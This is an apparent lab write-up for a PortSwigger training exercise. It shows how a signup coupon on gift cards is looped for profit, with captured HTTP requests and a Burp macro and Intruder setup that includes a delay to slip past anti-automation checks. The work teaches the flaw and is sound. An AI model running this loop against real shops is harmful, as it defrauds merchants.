#Description

This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a "Lightweight l33t leather jacket".

You can log in to your own account using the following credentials: wiener:peter

#Quick Look

I hate that newsletter so much, I never usually scroll all the way down on these labs and I always miss it. Need to start adding scrolling into my methodology...

#Method of madness

Let's start off with the basics, we know that we need to identify a method of obtaining more money, where less money exists. We can see on the front page in the very first image that we have a gift card accessible and at the bottom, we have a newsletter. As previously discussed newsletters are glorified ways to get user data and repay you for that via a discount code. So let's sign up and have a little look to see what happens when we purchase a gift card.

#First Gift Card Purchase

Great, we have a 30% off coupon which for this attack will save us...$3, well we aren't made of money but this will put us over a nice and tidy profit eventually.

If we redeem that giftcard, we would see that we have gained an extra $3, as we bought $10 for $7. This is the vulnerability that we will need to exploit at a much larger scale. It is not particularly hard, but getting the macro to correctly grab the gift card code out of the checkout response and pass it into the redemption step took a couple of goes to get right. The delimiter setup is a bit fiddly.

Going through this process we will notice a few things, we have numerous posts to go through, and the content of the gift card is directly on the page, and gets sent to our email client as well, which is a good way to ensure that you don't soft lock yourself out of the challenge.

#Multi Stage Process

As previously mentioned, we have multiple posts to go through as for every purchase we will need to add the product to the cart, apply the money generating coupon, and also post to the end point to redeem the coupon. But we also need to either manually go to the email client page to get the gift card code, or go to the confirmation page. Manually this would be a chore, but there are a few ways to do this programmatically.

The easiest way to do this in Burp would be to set up a Macro. Which allows us to specify a request flow for Burp to follow while doing attacks. This can be used for various reasons, commonly it is a good way to follow a login process where the commands need some kind of token that changes on refresh.

We can find the macro dialog options for this under Sessions in "Settings", however, it is easier to find it just by typing macro into the search box.

#Setting up the Macro

First off, we need to work out what the exact requests are necessary so that we can get the product into the cart, apply the necessary coupon, purchase and then utilise the giftcard. There are multiple requests and we can't skip any step, otherwise it will get purchased at the wrong price or we will run out of money.

While going through the initial PoC method, we could see a number of requests that would be the most useful.

#Adding to cart

POST /cart HTTP/2
Host: 0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Cookie: session=MXtRayyhITkzYgoYKZCk3TiJarW3scQx
Content-Length: 36
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

productId=2&redir=PRODUCT&quantity=1

#Applying the coupon

POST /cart/coupon HTTP/2
Host: 0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Cookie: session=MXtRayyhITkzYgoYKZCk3TiJarW3scQx
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=zQU3uiRGNfZAWV2zGOsljb0odod3pJw9&coupon=SIGNUP30

#Checkout

POST /cart/checkout HTTP/2
Host: 0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Cookie: session=MXtRayyhITkzYgoYKZCk3TiJarW3scQx
Content-Length: 37
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=zQU3uiRGNfZAWV2zGOsljb0odod3pJw9

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 4906

<strong>Your order is on its way!</strong></p>
                    <table>
                        <tbody>
                            <tr>
                                <th>Name</th>
                                <th>Price</th>
                                <th>Quantity</th>
                                <th></th>
                            </tr>
                            <tr>
                                <td>
                                    <a href=/product?productId=2>Gift Card</a>
                                </td>
                                <td>$10.00</td>
                                <td>
                                    1
                                </td>
                                <td>
                                </td>
                            </tr>
                            <tr><td>SIGNUP30</td><td>-$3.00</td><td></td><td></td></tr>
                        </tbody>
                    </table>
                    <table>
                        <tbody>
                            <tr>
                                <th>Total:</th>
                                <th>$7.00</th>
                            </tr>
                        </tbody>
                    </table>
                    <p><strong>You have bought the following gift cards:</strong></p>
                    <table class=is-table-numbers>
                        <tbody>
                            <tr>
                                <th>Code</th>
                            </tr>
                            <tr>
                                <td>aiBz1rKkwU</td>

This above response is specifically important, because it contains the actual gift card code. We will need to obtain this during the flow, otherwise it will require a lot more manual interaction.

#Obtaining the gift card code

Using the macro system, we are able to click on and set custom parameters that are based on the content of responses from the previous requests. Essentially it reads the gift card code directly out of the checkout response and passes it into the redemption request, so we don't have to manually grab it from the email client on every run. For this lab we need to go down to the code and select it so that the start and end delimiter knows exactly the location of the content. This part can be a bit fiddly, but after a little bit you should be able to get it to cover just that section.

The exact set up can be seen below, as you can see we are using the end points that we singled out earlier, and the defined parameter has the correct content selected. If we wanted we could try and test it but that can at times be deceiving, and I find that especially with how the delimitation works, that it can be best to test it over numerous requests.

#Applying the gift card

POST /gift-card HTTP/2
Host: 0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Cookie: session=MXtRayyhITkzYgoYKZCk3TiJarW3scQx
Content-Length: 58
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad800ba0494cbcf82075b4a0019008e.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=zQU3uiRGNfZAWV2zGOsljb0odod3pJw9&gift-card=aiBz1rKkwU

#Using the macro

So to correctly utilise a macro, we need to go back into Sessions, and add a session handling rule.

We set the rule specifically to Macro, we have some options for what we then do with this, but for the purpose of this test we can just leave everything as is.

We then need to go and get a request to run in intruder. We don't necessarily need to use intruder, we could technically do this with repeater or even manually if we set up our Session Handling rule to run when we use the proxy. But we will need this to run hundreds of times, so intruder is our best bet.

I set up a "Null Payload", which effectively allows you to send any number of requests without making any significant changes to a request that is being replayed. I set it to 1000 just for funsies. You really don't need that much money to complete the lab, and it is overkill, but it felt like a good number.

I did however have to put a small delay, Portswigger does have some fairly aggressive anti-automation detection on some of these labs and this was the minimum I needed to ensure that the attack ran correctly.

#Completing the Lab

As you can see above, I combined the Jacket with the SignUp code to make it cheaper, allowing you to complete this attack with even less money if you wanted to go for the bare minimum.

Gift card fraud is actually a fairly well documented problem in e-commerce, and I wouldn't be shocked if people that are not testers have purposefully exploited this before, happily getting one over on the storefront. Any apps, but especially e-commerce sites that often have a lot of different functions and teams working on specific areas can accidentally introduce these things, as they can really only think about what they are working on and not about other systems that could be in place.